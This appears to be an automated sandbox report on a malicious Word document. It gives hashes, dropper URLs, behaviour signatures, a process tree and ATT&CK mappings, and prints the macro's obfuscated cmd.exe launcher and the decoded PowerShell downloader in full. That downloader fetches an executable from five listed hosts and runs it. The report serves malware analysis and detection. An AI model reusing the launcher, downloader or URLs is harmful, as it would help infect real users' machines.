39d26726f643a3ca157d4d7e78f10831854f191120a06b95e0ed413fd0170d4f

General

Target

443ae95c2c1e9323ba8ed84249fa07f1_JaffaCakes118.doc
Size

230KB
MD5

443ae95c2c1e9323ba8ed84249fa07f1
SHA1

7f063c638a3b4819d4843619f73b3910d64be552
SHA256

39d26726f643a3ca157d4d7e78f10831854f191120a06b95e0ed413fd0170d4f
SHA512

73a2d7898ccb3fa31acfc0872c0753fbffcd4af7a0bc012431d47696bf36f32abf68d0c2212ddff8474cd195865cc8f9417a94190e2654fa0e1e9001c184d45a
SSDEEP

3072:QvrNNpClULzo5DIzUmcQC8jL/xSu90OoiLuDKZXfwKeljR1v:6tZ7jcQCKxUOmD+XfwLj

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://sarahleighroddis.com/xZs22v11

exe.dropper

http://fbroz.com/COeg4ZZ

exe.dropper

http://thesunavenuequan2.com/UYUiGwf9j

exe.dropper

http://drapart.org/Jvn89HTd2O

exe.dropper

http://ikiw.iniqua.com/oO0OtJVo

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4136	3652	cmd.exe	81

Blocklisted process makes network request 3 IoCs

flow	pid	Process
37	552	powershell.exe
40	552	powershell.exe
44	552	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
4136	cmd.exe
4044	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3652	WINWORD.EXE
3652	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
552	powershell.exe
552	powershell.exe
552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3652	WINWORD.EXE
3652	WINWORD.EXE
3652	WINWORD.EXE
3652	WINWORD.EXE
3652	WINWORD.EXE
3652	WINWORD.EXE
3652	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3652 wrote to memory of 4136	3652	WINWORD.EXE	88
PID 3652 wrote to memory of 4136	3652	WINWORD.EXE	88
PID 4136 wrote to memory of 4044	4136	cmd.exe	90
PID 4136 wrote to memory of 4044	4136	cmd.exe	90
PID 4044 wrote to memory of 4152	4044	cmd.exe	94
PID 4044 wrote to memory of 4152	4044	cmd.exe	94
PID 4044 wrote to memory of 4000	4044	cmd.exe	95
PID 4044 wrote to memory of 4000	4044	cmd.exe	95
PID 4000 wrote to memory of 552	4000	cmd.exe	96
PID 4000 wrote to memory of 552	4000	cmd.exe	96

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\443ae95c2c1e9323ba8ed84249fa07f1_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set eLO6=N1qVndw~20kzGl(eD.Y;b9p\/TvBW+=5ouI-8rtZ@OsE:FPM}$UL4yJ)ij h6xg'mfCcH%3{SA,a&&for %Z in (22,32,6,69,46,50,27,51,34,66,44,7,31,74,1,69,37,69,72,43,72,72,34,41,0,0,73,47,43,44,7,35,52,74,1,69,59,69,25,43,47,46,44,7,35,70,74,1,69,13,13,58,49,56,56,56,42,30,63,33,57,6,5,63,19,49,65,4,26,2,30,4,15,6,35,32,20,57,15,67,38,58,0,15,38,17,28,15,20,66,13,56,15,4,38,19,49,59,22,38,59,4,30,63,59,38,38,22,44,24,24,42,75,37,75,59,13,15,56,62,59,37,32,5,5,56,42,17,67,32,64,24,61,39,42,8,8,26,1,1,40,59,38,38,22,44,24,24,65,20,37,32,11,17,67,32,64,24,66,41,15,62,52,39,39,40,59,38,38,22,44,24,24,38,59,15,42,33,4,75,26,15,4,33,15,2,33,75,4,8,17,67,32,64,24,50,18,50,56,12,6,65,21,57,40,59,38,38,22,44,24,24,5,37,75,22,75,37,38,17,32,37,62,24,54,26,4,36,21,68,25,5,8,41,40,59,38,38,22,44,24,24,56,10,56,6,17,56,4,56,2,33,75,17,67,32,64,24,32,41,9,41,38,54,3,32,63,17,72,22,13,56,38,14,63,40,63,55,19,49,65,13,32,6,59,30,63,26,13,13,6,4,63,19,49,38,67,22,11,38,58,30,58,63,60,70,63,19,49,32,64,56,10,30,63,57,10,59,22,63,19,49,42,33,22,56,22,30,49,15,4,26,44,38,15,64,22,29,63,23,63,29,49,38,67,22,11,38,29,63,17,15,61,15,63,19,65,32,37,15,75,67,59,14,49,42,22,6,22,13,58,56,4,58,49,59,22,38,59,4,55,71,38,37,53,71,49,65,4,26,2,17,16,32,6,4,13,32,75,5,45,56,13,15,14,49,42,22,6,22,13,74,58,49,42,33,22,56,22,55,19,49,5,6,64,26,30,63,2,42,65,65,63,19,34,65,58,14,14,12,15,38,35,34,38,15,64,58,49,42,33,22,56,22,55,17,13,15,4,62,38,59,58,35,62,15,58,52,9,9,9,9,55,58,71,34,4,26,32,10,15,35,34,38,15,64,58,49,42,33,22,56,22,19,49,11,5,5,20,30,63,26,37,64,5,63,19,20,37,15,75,10,19,48,48,67,75,38,67,59,71,48,48,49,33,42,57,11,6,30,63,57,13,38,64,63,19,78)do set oqw=!oqw!!eLO6:~%Z,1!&&if %Z==78 echo !oqw:~5!|cmd.exe"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\system32\cmd.exe
    CmD /V:ON/C"set eLO6=N1qVndw~20kzGl(eD.Y;b9p\/TvBW+=5ouI-8rtZ@OsE:FPM}$UL4yJ)ij h6xg'mfCcH%3{SA,a&&for %Z in (22,32,6,69,46,50,27,51,34,66,44,7,31,74,1,69,37,69,72,43,72,72,34,41,0,0,73,47,43,44,7,35,52,74,1,69,59,69,25,43,47,46,44,7,35,70,74,1,69,13,13,58,49,56,56,56,42,30,63,33,57,6,5,63,19,49,65,4,26,2,30,4,15,6,35,32,20,57,15,67,38,58,0,15,38,17,28,15,20,66,13,56,15,4,38,19,49,59,22,38,59,4,30,63,59,38,38,22,44,24,24,42,75,37,75,59,13,15,56,62,59,37,32,5,5,56,42,17,67,32,64,24,61,39,42,8,8,26,1,1,40,59,38,38,22,44,24,24,65,20,37,32,11,17,67,32,64,24,66,41,15,62,52,39,39,40,59,38,38,22,44,24,24,38,59,15,42,33,4,75,26,15,4,33,15,2,33,75,4,8,17,67,32,64,24,50,18,50,56,12,6,65,21,57,40,59,38,38,22,44,24,24,5,37,75,22,75,37,38,17,32,37,62,24,54,26,4,36,21,68,25,5,8,41,40,59,38,38,22,44,24,24,56,10,56,6,17,56,4,56,2,33,75,17,67,32,64,24,32,41,9,41,38,54,3,32,63,17,72,22,13,56,38,14,63,40,63,55,19,49,65,13,32,6,59,30,63,26,13,13,6,4,63,19,49,38,67,22,11,38,58,30,58,63,60,70,63,19,49,32,64,56,10,30,63,57,10,59,22,63,19,49,42,33,22,56,22,30,49,15,4,26,44,38,15,64,22,29,63,23,63,29,49,38,67,22,11,38,29,63,17,15,61,15,63,19,65,32,37,15,75,67,59,14,49,42,22,6,22,13,58,56,4,58,49,59,22,38,59,4,55,71,38,37,53,71,49,65,4,26,2,17,16,32,6,4,13,32,75,5,45,56,13,15,14,49,42,22,6,22,13,74,58,49,42,33,22,56,22,55,19,49,5,6,64,26,30,63,2,42,65,65,63,19,34,65,58,14,14,12,15,38,35,34,38,15,64,58,49,42,33,22,56,22,55,17,13,15,4,62,38,59,58,35,62,15,58,52,9,9,9,9,55,58,71,34,4,26,32,10,15,35,34,38,15,64,58,49,42,33,22,56,22,19,49,11,5,5,20,30,63,26,37,64,5,63,19,20,37,15,75,10,19,48,48,67,75,38,67,59,71,48,48,49,33,42,57,11,6,30,63,57,13,38,64,63,19,78)do set oqw=!oqw!!eLO6:~%Z,1!&&if %Z==78 echo !oqw:~5!|cmd.exe"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $iiis='ujwd';$fnvq=new-object Net.WebClient;$hpthn='http://sarahleighroddis.com/xZs22v11@http://fbroz.com/COeg4ZZ@http://thesunavenuequan2.com/UYUiGwf9j@http://drapart.org/Jvn89HTd2O@http://ikiw.iniqua.com/oO0OtJVo'.Split('@');$flowh='vllwn';$tcpzt = '63';$omik='jkhp';$supip=$env:temp+'\'+$tcpzt+'.exe';foreach($spwpl in $hpthn){try{$fnvq.DownloadFile($spwpl, $supip);$dwmv='qsff';If ((Get-Item $supip).length -ge 40000) {Invoke-Item $supip;$zddb='vrmd';break;}}catch{}}$usjzw='jltm';"
      4⤵
      PID:4152
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4000
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $iiis='ujwd';$fnvq=new-object Net.WebClient;$hpthn='http://sarahleighroddis.com/xZs22v11@http://fbroz.com/COeg4ZZ@http://thesunavenuequan2.com/UYUiGwf9j@http://drapart.org/Jvn89HTd2O@http://ikiw.iniqua.com/oO0OtJVo'.Split('@');$flowh='vllwn';$tcpzt = '63';$omik='jkhp';$supip=$env:temp+'\'+$tcpzt+'.exe';foreach($spwpl in $hpthn){try{$fnvq.DownloadFile($spwpl, $supip);$dwmv='qsff';If ((Get-Item $supip).length -ge 40000) {Invoke-Item $supip;$zddb='vrmd';break;}}catch{}}$usjzw='jltm';
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD780A.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vi0mzh5u.vfe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/552-54-0x000001B5565B0000-0x000001B5565D2000-memory.dmp

Filesize
136KB

Download
memory/3652-19-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-12-0x00007FF8C1780000-0x00007FF8C1790000-memory.dmp

Filesize
64KB

Download
memory/3652-5-0x00007FF903CCD000-0x00007FF903CCE000-memory.dmp

Filesize
4KB

Download
memory/3652-18-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-8-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-9-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-11-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-38-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-10-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-7-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-14-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-13-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-15-0x00007FF8C1780000-0x00007FF8C1790000-memory.dmp

Filesize
64KB

Download
memory/3652-39-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-17-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-0-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-6-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-1-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-16-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-44-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-43-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-4-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-3-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-2-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-530-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-540-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-541-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-542-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download
memory/3652-565-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-566-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-567-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-568-0x00007FF8C3CB0000-0x00007FF8C3CC0000-memory.dmp

Filesize
64KB

Download
memory/3652-569-0x00007FF903C30000-0x00007FF903E25000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads